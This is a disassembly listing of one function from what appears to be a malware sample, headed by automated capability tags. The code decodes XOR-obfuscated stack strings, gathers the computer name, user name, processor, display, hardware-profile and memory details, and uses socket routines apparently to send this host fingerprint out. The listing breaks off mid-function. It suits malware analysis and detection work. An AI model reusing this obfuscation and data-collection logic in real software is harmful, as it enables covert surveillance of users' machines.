Function at 0x448149
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Contain obfuscated stackstrings
Convert ip address from string
Create tcp socket
Create udp socket
Encode data using xor
Get memory capacity
Initialize winsock library
Inspect section memory permissions
Send data
Send data on socket

Disassembly:
push 0xc30
mov eax, 0x4644e7
call fcn.004607e6
push 0x71
pop ecx
push 0x21
pop eax
xor ebx, ebx
mov dword [ebp - 0xbc8], ebx
push 0x1e
mov byte [ebp - 0x18c], al
pop eax
mov byte [ebp - 0x18a], al
push 4
mov byte [ebp - 0x1b4], cl
pop eax
movsx ecx, cl
mov byte [ebp - 0x18b], 3
mov byte [ebp - 0x189], 0x15
mov byte [ebp - 0x188], al
mov dword [ebp - 0x187], 0x103f0512
mov word [ebp - 0x183], 0x141c
mov byte [ebp - 0x181], bl
call fcn.0043cd89
push 8
mov dword [ebp - 0xbd0], eax
mov edx, ebx
pop esi
push edx
lea ecx, [ebp - 0xbd0]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x1b0], eax
inc edx
pop ecx
cmp edx, esi
jl 0x4481be
push 0xb
lea eax, [ebp - 0x1b0]
push eax
lea eax, [ebp - 0x18c]
push eax
call fcn.0043d0e5
movsx ecx, byte [ebp - 0x1b4]
mov dword [ebp - 0x190], eax
call fcn.0043cd89
mov dword [ebp - 0xbd0], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xbd0]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x1b0], eax
inc edx
pop ecx
cmp edx, esi
jl 0x448206
push dword [0x4769d8]
lea eax, [ebp - 0x1b0]
push eax
push dword [ebp - 0x190]
call fcn.0043d15b
test eax, eax
jne 0x44823f
mov eax, ebx
jmp 0x448253
mov dl, byte [ebp - 0x1b4]
mov ecx, ebx
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jb 0x448247
mov byte [eax + 0xb], bl
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xbcc], esp
push eax
call fcn.0044ae6b
mov dword [ebp - 4], ebx
movaps xmm0, xmmword [str._.___:_4_]
push 0x68
pop eax
push 0x3e
pop ecx
movups xmmword [ebp - 0x144], xmm0
mov byte [ebp - 0x11f], cl
movaps xmm0, xmmword [0x4704c0]
movsx ecx, al
mov byte [ebp - 0x16c], al
movups xmmword [ebp - 0x134], xmm0
mov dword [ebp - 0x124], 0x60d1a1a
mov byte [ebp - 0x120], 0x1c
mov dword [ebp - 0x11e], 0x11b1a0d
mov word [ebp - 0x11a], 0x607
mov byte [ebp - 0x118], bl
call fcn.0043cd89
mov dword [ebp - 0xbd0], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xbd0]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x168], eax
inc edx
pop ecx
cmp edx, esi
jl 0x4482cf
push 0x2c
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x144]
push eax
call fcn.0043d0e5
movsx ecx, byte [ebp - 0x16c]
mov dword [ebp - 0x148], eax
call fcn.0043cd89
mov dword [ebp - 0xbd0], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xbd0]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x168], eax
inc edx
pop ecx
cmp edx, esi
jl 0x448317
push dword [0x4769d8]
lea eax, [ebp - 0x168]
push eax
push dword [ebp - 0x148]
call fcn.0043d15b
test eax, eax
jne 0x448350
mov eax, ebx
jmp 0x448364
mov dl, byte [ebp - 0x16c]
mov ecx, ebx
xor byte [ecx + eax], dl
inc ecx
cmp ecx, 0x2c
jb 0x448358
mov byte [eax + 0x2c], bl
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0044ae6b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x260]
mov edx, connect
call fcn.0043ee3a
add esp, 0x30
mov edi, 0x46ba28
mov dword [ebp - 4], 1
push edi
lea ecx, [ebp - 0x260]
call fcn.0044bde4
test al, al
jne 0x44841a
push 0xffffffffffffffff
push esi
lea eax, [ebp - 0x278]
push eax
lea ecx, [ebp - 0x260]
call fcn.0044ac14
push eax
lea ecx, [ebp - 0x260]
call fcn.0044aded
lea ecx, [ebp - 0x278]
call fcn.0044adca
push edi
lea ecx, [ebp - 0x260]
call fcn.0044bde4
test al, al
jne 0x44841a
push ecx
push 0x46c4ac
lea ecx, [ebp - 0x260]
call fcn.0044ac9b
push eax
push ebx
lea eax, [ebp - 0x278]
push eax
lea ecx, [ebp - 0x260]
call fcn.0044ac14
push eax
lea ecx, [ebp - 0x260]
call fcn.0044aded
lea ecx, [ebp - 0x278]
call fcn.0044adca
push 0x104
lea eax, [ebp - 0x114]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.PROCESSOR_ARCHITECTURE
call fcn.004527dd
mov ebx, eax
mov dword [esp], str.PROCESSOR_IDENTIFIER
call fcn.004527dd
mov edi, eax
mov dword [esp], str.COMPUTERNAME
call fcn.004527dd
mov esi, eax
mov dword [esp], str.USERNAME
call fcn.004527dd
pop ecx
push eax
lea ecx, [ebp - 0x1e4]
call fcn.0044ae6b
push 2
pop ecx
mov byte [ebp - 4], cl
mov edx, eax
push esi
lea ecx, [ebp - 0x198]
call fcn.0044b2bc
push edi
mov edx, eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x290]
call fcn.0044b2bc
push ebx
mov edx, eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x218]
call fcn.0044b2bc
add esp, 0xc
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 5
call fcn.0042e199
push 0x10
pop ebx
cmp dword [ebp - 0x204], ebx
lea eax, [ebp - 0x218]
push dword [ebp - 0x208]
cmovae eax, dword [ebp - 0x218]
push eax
call fcn.0042e8f9
lea ecx, [ebp - 0x180]
call fcn.0042e99e
lea eax, [ebp - 0x278]
push eax
lea ecx, [ebp - 0x180]
call fcn.0042ea30
lea ecx, [ebp - 0x218]
mov dword [ebp - 0xbc8], ebx
call fcn.0044adca
lea ecx, [ebp - 0x290]
call fcn.0044adca
lea ecx, [ebp - 0x198]
call fcn.0044adca
lea ecx, [ebp - 0x1e4]
mov byte [ebp - 4], 9
call fcn.0044adca
xor ebx, ebx
push ebx
mov dword [ebp - 0x1cc], ebx
mov dword [ebp - 0x1bc], ebx
mov dword [ebp - 0x1b8], ebx
push 0x46ba28
lea ecx, [ebp - 0x1cc]
call fcn.0044b919
push 0x40
lea eax, [ebp - 0xa1c]
mov byte [ebp - 4], 0xa
push ebx
push eax
call fcn.0044e5c0
push 0x1a4
lea eax, [ebp - 0xbc0]
mov dword [ebp - 0xa1c], 0x40
push ebx
push eax
mov dword [ebp - 0xbc4], 0x1a8
call fcn.0044e5c0
add esp, 0x18
lea eax, [ebp - 0xbc4]
push 1
push eax
push ebx
push ebx
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
lea ecx, [ebp - 0xba0]
mov dword [ebp - 0x248], ebx
mov dword [ebp - 0x238], ebx
lea edx, [ecx + 1]
mov dword [ebp - 0x234], ebx
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4485c1
sub ecx, edx
lea eax, [ebp - 0xba0]
push ecx
push eax
lea ecx, [ebp - 0x248]
call fcn.0044b919
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x290]
push dword [ebp - 0xbc4]
lea ecx, [ebp - 0x248]
push ebx
push eax
call fcn.0044ac14
push eax
lea ecx, [ebp - 0x248]
call fcn.0044aded
lea ecx, [ebp - 0x290]
call fcn.0044adca
push ebx
push ebx
push ebx
push str.DISPLAY
call dword [sym.imp.GDI32.dll_CreateDCA]
mov edi, eax
mov dword [ebp - 0x124], 0x2b1c7e73
mov al, 0x5e
mov dword [ebp - 0xbcc], edi
movsx ecx, al
mov byte [ebp - 0x14c], al
mov dword [ebp - 0x120], 0xe3a3237
mov dword [ebp - 0x11c], 0x64362a3f
mov word [ebp - 0x118], 0x7e
call fcn.0043cd89
push 8
mov dword [ebp - 0xbd0], eax
mov edx, ebx
pop esi
push edx
lea ecx, [ebp - 0xbd0]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x148], eax
inc edx
pop ecx
cmp edx, esi
jl 0x448669
push 0xd
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.0043d0e5
movsx ecx, byte [ebp - 0x14c]
mov dword [ebp - 0x128], eax
call fcn.0043cd89
mov dword [ebp - 0xbd0], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xbd0]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x148], eax
inc edx
pop ecx
cmp edx, esi
jl 0x4486b1
push dword [0x4769d8]
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 0x128]
call fcn.0043d15b
mov ebx, eax
mov dword [ebp - 0xbd0], ebx
test ebx, ebx
jne 0x4486f6
and dword [ebp - 0xbd0], eax
jmp 0x44870b
mov cl, byte [ebp - 0x14c]
xor eax, eax
xor byte [ebx + eax], cl
inc eax
cmp eax, 0xd
jb 0x4486fe
mov byte [ebx + 0xd], 0
mov esi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0xa
push edi
call esi
mov edx, eax
lea ecx, [ebp - 0x2c0]
call fcn.0042a68b
mov dword [ebp - 0xc0c], eax
push 0xc
pop eax
push 8
pop ebx
push ebx
push edi
mov byte [ebp - 4], al
call esi
mov edx, eax
lea ecx, [ebp - 0x638]
call fcn.0042a68b
mov dword [ebp - 0xc20], eax
mov byte [ebp - 4], 0xd
mov al, 0x7a
movsx ecx, al
mov byte [ebp - 0x14c], al
mov dword [ebp - 0x124], 0x19295a57
mov byte [ebp - 0x120], bl
mov dword [ebp - 0x11f], 0x29141f1f
mov dword [ebp - 0x11b], 0x401f0013
mov word [ebp - 0x117], 0x5a
call fcn.0043cd89
mov dword [ebp - 0xc08], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xc08]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x148], eax
inc edx
pop ecx
cmp edx, ebx
jl 0x448792
push 0xe
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.0043d0e5
movsx ecx, byte [ebp - 0x14c]
mov dword [ebp - 0x128], eax
call fcn.0043cd89
mov dword [ebp - 0xc08], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xc08]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x148], eax
inc edx
pop ecx
cmp edx, ebx
jl 0x4487da
push dword [0x4769d8]
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 0x128]
call fcn.0043d15b
mov ebx, eax
mov dword [ebp - 0xc08], ebx
test ebx, ebx
jne 0x44881f
and dword [ebp - 0xc08], eax
jmp 0x448834
mov cl, byte [ebp - 0x14c]
xor eax, eax
xor byte [eax + ebx], cl
inc eax
cmp eax, 0xe
jb 0x448827
mov byte [ebx + 0xe], 0
lea eax, [ebp - 0x84c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
push 0x21
test eax, eax
mov byte [ebp - 0x11f], 1
pop eax
push 0xc
pop edx
lea ecx, [ebp - 0x848]
mov byte [ebp - 0x148], al
mov edi, str.null
mov byte [ebp - 0x120], dl
cmove ecx, edi
mov dword [ebp - 0x11d], 0x1b656876
mov dword [ebp - 0xc24], ecx
push 0x69
pop ecx
mov byte [ebp - 0x11e], cl
movsx ecx, al
mov word [ebp - 0x119], 1
call fcn.0043cd89
push 8
mov dword [ebp - 0xc00], eax
xor edx, edx
pop ebx
push edx
lea ecx, [ebp - 0xc00]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x144], eax
inc edx
pop ecx
cmp edx, ebx
jl 0x44889f
push ebx
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.0043d0e5
movsx ecx, byte [ebp - 0x148]
mov dword [ebp - 0x124], eax
call fcn.0043cd89
mov dword [ebp - 0xc00], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xc00]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x144], eax
inc edx
pop ecx
cmp edx, ebx
jl 0x4488e6
push dword [0x4769d8]
lea eax, [ebp - 0x144]
push eax
push dword [ebp - 0x124]
call fcn.0043d15b
mov ebx, eax
mov dword [ebp - 0xc00], ebx
test ebx, ebx
jne 0x44892b
and dword [ebp - 0xc00], eax
jmp 0x448942
mov cl, byte [ebp - 0x148]
xor eax, eax
push 8
pop esi
xor byte [eax + ebx], cl
inc eax
cmp eax, esi
jb 0x448936
mov byte [ebx + 8], 0
lea ecx, [ebp - 0x620]
call fcn.00448078
mov dword [ebp - 0xc28], eax
push 0xc
pop eax
mov byte [ebp - 4], 0xe
movsx ecx, al
mov byte [ebp - 0x1b0], al
mov dword [ebp - 0x188], 0x5c4f2c21
mov dword [ebp - 0x184], 0x2c3659
call fcn.0043cd89
push 8
mov dword [ebp - 0xbfc], eax
xor edx, edx
pop ebx
push edx
lea ecx, [ebp - 0xbfc]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x1ac], eax
inc edx
pop ecx
cmp edx, ebx
jl 0x448987
push 7
pop esi
push esi
lea eax, [ebp - 0x1ac]
push eax
lea eax, [ebp - 0x188]
push eax
call fcn.0043d0e5
movsx ecx, byte [ebp - 0x1b0]
mov dword [ebp - 0x18c], eax
call fcn.0043cd89
mov dword [ebp - 0xbfc], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbfc]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x1ac], eax
inc edx
pop ecx
cmp edx, ebx
jl 0x4489d1
push dword [0x4769d8]
lea eax, [ebp - 0x1ac]
push eax
push dword [ebp - 0x18c]
call fcn.0043d15b
mov ebx, eax
mov dword [ebp - 0xbfc], ebx
test ebx, ebx
jne 0x448a16
and dword [ebp - 0xbfc], eax
jmp 0x448a2a
mov cl, byte [ebp - 0x1b0]
xor eax, eax
xor byte [ebx + eax], cl
inc eax
cmp eax, esi
jb 0x448a1e
mov byte [ebx + 7], 0
push 8
pop ebx
movsx ecx, bl
mov byte [ebp - 0x1b0], bl
mov dword [ebp - 0x188], 0x584f2825
mov dword [ebp - 0x184], 0x28325d
call fcn.0043cd89
mov dword [ebp - 0xc04], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xc04]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x1ac], eax
inc edx
pop ecx
cmp edx, ebx
jl 0x448a57
push esi
lea eax, [ebp - 0x1ac]
push eax
lea eax, [ebp - 0x188]
push eax
call fcn.0043d0e5
movsx ecx, byte [ebp - 0x1b0]
mov dword [ebp - 0x18c], eax
call fcn.0043cd89
mov dword [ebp - 0xc04], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xc04]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x1ac], eax
inc edx
pop ecx
cmp edx, ebx
jl 0x448a9e
push dword [0x4769d8]
lea eax, [ebp - 0x1ac]
push eax
push dword [ebp - 0x18c]
call fcn.0043d15b
mov ebx, eax
mov dword [ebp - 0xc04], ebx
test ebx, ebx
jne 0x448ae3
and dword [ebp - 0xc04], eax
jmp 0x448af7
mov cl, byte [ebp - 0x1b0]
xor eax, eax
xor byte [ebx + eax], cl
inc eax
cmp eax, esi
jb 0x448aeb
mov byte [ebx + 7], 0
lea eax, [ebp - 0xa1c]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp eax, 1
jne 0x448b82
mov ecx, dword [ebp - 0xa14]
mov eax, dword [ebp - 0xa10]
shrd ecx, eax, 0x14
shr eax, 0x14
push eax
push ecx
lea ecx, [ebp - 0x21b]
call fcn.0044c172
add esp, 4
lea ecx, [ebp - 0x21b]
push ecx
push eax
lea ecx, [ebp - 0x290]
call fcn.0044c0de
push 3
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x290]
push 0x47020c
mov dword [ebp - 0xbc8], 0x11
call fcn.0044b10e
push eax
lea ecx, [ebp - 0x198]
call fcn.0044ae38
lea esi, [ebp - 0x198]
mov dword [ebp - 4], 0x10
mov dword [ebp - 0xc10], esi
push 0x13
jmp 0x448bba
and dword [ebp - 0x218], 0
lea ecx, [ebp - 0x218]
and dword [ebp - 0x208], 0
and dword [ebp - 0x204], 0
push 4
push edi
call fcn.0044b919
lea eax, [ebp - 0x218]
mov dword [ebp - 4], 0x11
mov dword [ebp - 0xc10], eax
push 0x14
pop ebx
push 0x46
pop eax
movsx ecx, al
mov dword [ebp - 0xbc8], ebx
mov byte [ebp - 0x1fc], al
mov dword [ebp - 0x1d4], 0x714666b
mov dword [ebp - 0x1d0], 0x667c0b
call fcn.0043cd89
push 8
mov dword [ebp - 0xbf8], eax
xor edx, edx
pop edi
push edx
lea ecx, [ebp - 0xbf8]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x1f8], eax
inc edx
pop ecx
cmp edx, edi
jl 0x448bf1
push 7
lea eax, [ebp - 0x1f8]
push eax
lea eax, [ebp - 0x1d4]
push eax
call fcn.0043d0e5
movsx ecx, byte [ebp - 0x1fc]
mov dword [ebp - 0x1d8], eax
call fcn.0043cd89
mov dword [ebp - 0xbf8], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbf8]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x1f8], eax
inc edx
pop ecx
cmp edx, edi
jl 0x448c39
push dword [0x4769d8]
lea eax, [ebp - 0x1f8]
push eax
push dword [ebp - 0x1d8]
call fcn.0043d15b
mov esi, eax
mov dword [ebp - 0xbf8], esi
test esi, esi
jne 0x448c7e
and dword [ebp - 0xbf8], eax
jmp 0x448c93
mov cl, byte [ebp - 0x1fc]
xor eax, eax
xor byte [esi + eax], cl
inc eax
cmp eax, 7
jb 0x448c86
mov byte [esi + 7], 0
push str.USERNAME
call fcn.004527dd
movaps xmm0, xmmword [0x470570]
pop ecx
mov dword [ebp - 0xc2c], eax
push 0x26
pop eax
movsx ecx, al
mov byte [ebp - 0x154], al
movups xmmword [ebp - 0x12c], xmm0
mov dword [ebp - 0x11c], 0x61c434b
mov byte [ebp - 0x118], 0
call fcn.0043cd89
mov dword [ebp - 0xbf4], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbf4]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x150], eax
inc edx
pop ecx
cmp edx, edi
jl 0x448cdc
push 0x14
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x12c]
push eax
call fcn.0043d0e5
movsx ecx, byte [ebp - 0x154]
mov dword [ebp - 0x130], eax
call fcn.0043cd89
mov dword [ebp - 0xbf4], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbf4]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x150], eax
inc edx
pop ecx
cmp edx, edi
jl 0x448d24
push dword [0x4769d8]
lea eax, [ebp - 0x150]
push eax
push dword [ebp - 0x130]
call fcn.0043d15b
mov esi, eax
mov dword [ebp - 0xbf4], esi
test esi, esi
jne 0x448d69
and dword [ebp - 0xbf4], eax
jmp 0x448d7e
mov cl, byte [ebp - 0x154]
xor eax, eax
xor byte [eax + esi], cl
inc eax
cmp eax, 0x14
jb 0x448d71
mov byte [esi + 0x14], 0
mov al, 0x4c
mov dword [ebp - 0x1d8], 0x251b6c61
movsx ecx, al
mov byte [ebp - 0x200], al
mov dword [ebp - 0x1d4], 0x3b232822
mov dword [ebp - 0x1d0], 0x6c763f
call fcn.0043cd89
mov dword [ebp - 0xbf0], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbf0]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x1fc], eax
inc edx
pop ecx
cmp edx, edi
jl 0x448db4
push 0xb
lea eax, [ebp - 0x1fc]
push eax
lea eax, [ebp - 0x1d8]
push eax
call fcn.0043d0e5
movsx ecx, byte [ebp - 0x200]
mov dword [ebp - 0x1dc], eax
call fcn.0043cd89
mov dword [ebp - 0xbf0], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbf0]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x1fc], eax
inc edx
pop ecx
cmp edx, edi
jl 0x448dfc
push dword [0x4769d8]
lea eax, [ebp - 0x1fc]
push eax
push dword [ebp - 0x1dc]
call fcn.0043d15b
mov esi, eax
mov dword [ebp - 0xbf0], esi
test esi, esi
jne 0x448e41
and dword [ebp - 0xbf0], eax
jmp 0x448e56
mov cl, byte [ebp - 0x200]
xor eax, eax
xor byte [esi + eax], cl
inc eax
cmp eax, 0xb
jb 0x448e49
mov byte [esi + 0xb], 0
push 0
push 0x4707d975
lea ecx, [ebp - 0x21b]
call fcn.0044c172
add esp, 4
lea ecx, [ebp - 0x21b]
push ecx
push eax
lea ecx, [ebp - 0x1e4]
call fcn.0044c0de
or ebx, 0x60
mov dword [ebp - 0xbd8], ebx
mov dword [ebp - 0xbc8], ebx
push 4
pop eax
mov dword [ebp - 4], 0x12
push 0x3e
pop ecx
mov byte [ebp - 0x118], cl
movsx ecx, al
mov byte [ebp - 0x148], al
mov dword [ebp - 0x120], 0x77512429
mov dword [ebp - 0x11c], 0x404d7661
mov word [ebp - 0x117], 0x24
call fcn.0043cd89
mov dword [ebp - 0xbec], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbec]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x144], eax
inc edx
pop ecx
cmp edx, edi
jl 0x448ed3
push 0xa
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.0043d0e5
movsx ecx, byte [ebp - 0x148]
mov dword [ebp - 0x124], eax
call fcn.0043cd89
mov dword [ebp - 0xbec], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbec]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x144], eax
inc edx
pop ecx
cmp edx, edi
jl 0x448f1b
push dword [0x4769d8]
lea eax, [ebp - 0x144]
push eax
push dword [ebp - 0x124]
call fcn.0043d15b
mov esi, eax
mov dword [ebp - 0xbec], esi
test esi, esi
jne 0x448f60
and dword [ebp - 0xbec], eax
jmp 0x448f75
mov cl, byte [ebp - 0x148]
xor eax, eax
xor byte [eax + esi], cl
inc eax
cmp eax, 0xa
jb 0x448f68
mov byte [esi + 0xa], 0
push 0x48
pop eax
movsx ecx, al
mov byte [ebp - 0x148], al
mov dword [ebp - 0x120], 0xb186865
mov dword [ebp - 0x11c], 0x3b290068
mov dword [ebp - 0x118], 0x687220
call fcn.0043cd89
mov dword [ebp - 0xbe8], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbe8]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x144], eax
inc edx
pop ecx
cmp edx, edi
jl 0x448fac
push 0xb
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.0043d0e5
movsx ecx, byte [ebp - 0x148]
mov dword [ebp - 0x124], eax
call fcn.0043cd89
mov dword [ebp - 0xbe8], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbe8]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x144], eax
inc edx
pop ecx
cmp edx, edi
jl 0x448ff4
push dword [0x4769d8]
lea eax, [ebp - 0x144]
push eax
push dword [ebp - 0x124]
call fcn.0043d15b
mov esi, eax
xor edx, edx
mov dword [ebp - 0xbe8], esi
test esi, esi
jne 0x44903b
mov dword [ebp - 0xbe8], edx
jmp 0x44904f
mov cl, byte [ebp - 0x148]
mov eax, edx
xor byte [esi + eax], cl
inc eax
cmp eax, 0xb
jb 0x449043
mov byte [esi + 0xb], dl
push 0xb
push str.before
lea ecx, [ebp - 0x2a8]
mov dword [ebp - 0x2a8], edx
mov dword [ebp - 0x298], edx
mov dword [ebp - 0x294], edx
call fcn.0044b919
push 0x3e
pop edx
mov byte [ebp - 4], 0x13
push 0x1e
pop ecx
push 4
mov byte [ebp - 0x123], cl
pop eax
mov byte [ebp - 0x119], cl
movsx ecx, dl
mov byte [ebp - 0x14c], dl
mov byte [ebp - 0x124], 0x13
mov dword [ebp - 0x122], 0x52574b7c
mov dword [ebp - 0x11e], 0x595f6a5a
mov byte [ebp - 0x11a], al
mov byte [ebp - 0x118], 0
call fcn.0043cd89
mov dword [ebp - 0xbe4], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbe4]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x148], eax
inc edx
pop ecx
cmp edx, edi
jl 0x4490ca
push 0xc
pop eax
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.0043d0e5
movsx ecx, byte [ebp - 0x14c]
mov dword [ebp - 0x128], eax
call fcn.0043cd89
mov dword [ebp - 0xbe4], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbe4]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x148], eax
inc edx
pop ecx
cmp edx, edi
jl 0x449114
push dword [0x4769d8]
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 0x128]
call fcn.0043d15b
mov esi, eax
mov dword [ebp - 0xbe4], esi
test esi, esi
jne 0x449159
and dword [ebp - 0xbe4], eax
jmp 0x449170
mov cl, byte [ebp - 0x14c]
xor eax, eax
push 0xc
pop edx
xor byte [eax + esi], cl
inc eax
cmp eax, edx
jb 0x449164
mov byte [esi + 0xc], 0
mov edx, dword [0x476778]
lea ecx, [ebp - 0x608]
call fcn.0042a68b
mov dword [ebp - 0xc30], eax
mov byte [ebp - 4], 0x14
mov al, 0x50
movsx ecx, al
mov byte [ebp - 0x148], al
mov dword [ebp - 0x120], 0x3916707d
mov dword [ebp - 0x11c], 0x6a23353c
mov word [ebp - 0x118], 0x70
call fcn.0043cd89
mov dword [ebp - 0xbe0], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbe0]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x144], eax
inc edx
pop ecx
cmp edx, edi
jl 0x4491c0
push 9
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.0043d0e5
movsx ecx, byte [ebp - 0x148]
mov dword [ebp - 0x124], eax
call fcn.0043cd89
mov dword [ebp - 0xbe0], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbe0]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x144], eax
inc edx
pop ecx
cmp edx, edi
jl 0x449208
push dword [0x4769d8]
lea eax, [ebp - 0x144]
push eax
push dword [ebp - 0x124]
call fcn.0043d15b
mov esi, eax
mov dword [ebp - 0xbe0], esi
test esi, esi
jne 0x44924d
and dword [ebp - 0xbe0], eax
jmp 0x449262
mov cl, byte [ebp - 0x148]
xor eax, eax
xor byte [esi + eax], cl
inc eax
cmp eax, 9
jb 0x449255
mov byte [esi + 9], 0
mov edx, dword [0x476770]
lea ecx, [ebp - 0x5f0]
call fcn.0042a68b
mov dword [ebp - 0xc34], eax
push 4
pop eax
mov byte [ebp - 4], 0x15
push 0x3e
pop ecx
mov byte [ebp - 0x119], cl
movsx ecx, al
mov byte [ebp - 0x148], al
mov dword [ebp - 0x120], 0x65472429
mov word [ebp - 0x11c], 0x6076
mov byte [ebp - 0x11a], 0x77
mov word [ebp - 0x118], 0x24
call fcn.0043cd89
mov dword [ebp - 0xbdc], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbdc]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x144], eax
inc edx
pop ecx
cmp edx, edi
jl 0x4492c2
push 9
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.0043d0e5
movsx ecx, byte [ebp - 0x148]
mov dword [ebp - 0x124], eax
call fcn.0043cd89
mov dword [ebp - 0xbdc], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbdc]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x144], eax
inc edx
pop ecx
cmp edx, edi
jl 0x44930a
push dword [0x4769d8]
lea eax, [ebp - 0x144]
push eax
push dword [ebp - 0x124]
call fcn.0043d15b
mov esi, eax
mov dword [ebp - 0xbdc], esi
test esi, esi
jne 0x44934f
and dword [ebp - 0xbdc], eax
jmp 0x449364
mov cl, byte [ebp - 0x148]
xor eax, eax
xor byte [esi + eax], cl
inc eax
cmp eax, 9
jb 0x449357
mov byte [esi + 9], 0
mov edx, dword [0x4767a4]
lea ecx, [ebp - 0x5d8]
call fcn.0042a68b
mov dword [ebp - 0xc14], eax
push 0x1e
pop eax
mov byte [ebp - 4], 0x16
push 0x3e
pop ecx
mov byte [ebp - 0x123], cl
mov byte [ebp - 0x119], cl
movsx ecx, al
mov byte [ebp - 0x14c], al
mov byte [ebp - 0x124], 0x33
mov dword [ebp - 0x122], 0x716a6b5f
mov dword [ebp - 0x11e], 0x72727778
mov byte [ebp - 0x11a], 0x24
mov byte [ebp - 0x118], 0
call fcn.0043cd89
mov dword [ebp - 0xbd4], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbd4]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x148], eax
inc edx
pop ecx
cmp edx, edi
jl 0x4493d0
push 0xc
pop eax
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.0043d0e5
movsx ecx, byte [ebp - 0x14c]
mov dword [ebp - 0x128], eax
call fcn.0043cd89
mov dword [ebp - 0xbd4], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbd4]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x148], eax
inc edx
pop ecx
cmp edx, edi
jl 0x44941a
push dword [0x4769d8]
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 0x128]
call fcn.0043d15b
mov edi, eax
test edi, edi
je 0x449468
mov cl, byte [ebp - 0x14c]
xor eax, eax
push 0xc
